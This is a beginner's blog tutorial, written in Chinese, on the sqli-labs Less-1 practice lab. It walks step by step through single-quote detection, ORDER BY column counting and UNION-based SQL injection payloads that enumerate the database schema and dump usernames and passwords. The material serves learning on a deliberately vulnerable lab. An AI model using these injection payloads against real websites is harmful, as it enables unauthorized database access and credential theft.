sqli-labs less 1(菜鸟,刚学手工注入写的笔记)

mysql简单基本用法

1)查库:select schema_name from information_schema.schemata;
2) 查表:select table_name from information_schema.tables where table_schema='security';
3)查列:select column_name from information_schema.columns where table_name='users';
4) 查字段:select username,password from security.users;

注释符号

1)--+
2)--    --后面有一个空格
3)#

limit:

SELECT * FROM users WHERE id='3'' LIMIT 0,1
limit 0,1; 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据。

单引号判断

$id参数左右有数字型(无)、单引号、双引号、括号等方式组成闭合;

最为经典的单引号判断法: 在参数后面加上单引号,比如:

  http://xxx/abc.php?id=1'

  如果页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

order by

order by n:通过第n列进行排序,默认升序。
用来判断表中的数据有多少列,用二分法进行测试。

Mysql函数

1) SYSTEM_USER()	返回当前用户;	SELECT SYSTEM_USER();
2) USER()	返回当前用户		SELECT USER();
3) CURRENT_USER()	返回当前用户		SELECT CURRENT_USER();
4) DATABASE()	返回当前数据库名	SELECT DATABASE();  
5) VERSION()	返回数据库的版本号	SELECT VERSION();
6) @@datadir	返回mysql安装路径		SELECT @@DATADIR;
7) @@version_compile_os		返回当前操作系统	SELECT @@version_compile_os;
8)  GROUP_CONCAT()		将所有的数据拼接后作为一行进行显示
9) CONCAT_WS('~',A,B)	以A~B的形式将数据显示出来

参考(97条消息) mysql之group_concat函数详解_Garfield_cat_cat的博客-CSDN博客_group_concat()

less1

首先,将less1文件下的index.php文件修改,添加

echo $sql;		#添加这一行的作用是,将构造的sql语句进行输出
echo "<br>";	#换行

在这里插入图片描述

添加这两行的好处是可以在注入时随时看到sql语句。

提示输入id

在这里插入图片描述

输入id值,有回显

?id=1

在这里插入图片描述

添加单引号判断是否存在sql注入

?id=1'

在这里插入图片描述

提示语法错误,存在sql注入。

然后用order by查看有多少列,可以尝试用二分法的方式来查看多少列.

在这里插入图片描述
在这里插入图片描述

可以看出有3列。查看可以使用的位置

?id=1' union select 1,2,3 --+

在这里插入图片描述

没有信息,将1改为-1让其进行报错

?id=-1' union select 1,2,3 --+

得到可以使用的位置2,3

在这里插入图片描述

在这里插入图片描述

我使用第三个位置来进行sql注入。首先查库

?id=-1' union select 1,2,schema_name from information_schema.schemata --+

在这里插入图片描述

查库的第一种方法,使用limit n,1,但这种方法太慢了,推荐使用第二种方法

在这里插入图片描述

查库的第二种方法:group_concat()

在这里插入图片描述
然后查表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1--+

在这里插入图片描述

由于‘security’会引入引号,这里建议将其转为16进制,效果一样。(要先将引号去到,然后对security进行转换)

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 limit 0,1--+

在这里插入图片描述

查列,这里也建议将users转换,我这里就不转换了。

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' limit 0,1--+

在这里插入图片描述

最后查字段username,和password

?id=-1' union select 1,2,group_concat(username) from security.users--+

在这里插入图片描述

但这样不利用我们观看,所以使用concat_ws()来进行查找,这里也可以对’~'进行转换

?id=-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users--+

在这里插入图片描述

最后利用这些方法可以对数据库的数据进行查看

总结:这也是我刚开始学手工注入,笔记写的还不够全面,里面少了一些注释,知识点还不全面,但我认为写的太全面对于像我一样刚接触的菜鸟不太好,因为写的太详细就会让自己产生一种错觉,认为自己已经懂了,就直接跳过这些东西,这种习惯不太好。还是要自己去查资料,去看一些官方的解释文档。下面这个博主的视频讲的也很好非常适合入门,大家如果不懂可以看这个大佬的视频。

sql注入之sqli-labs系列教程(less1-10)_哔哩哔哩_bilibili

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值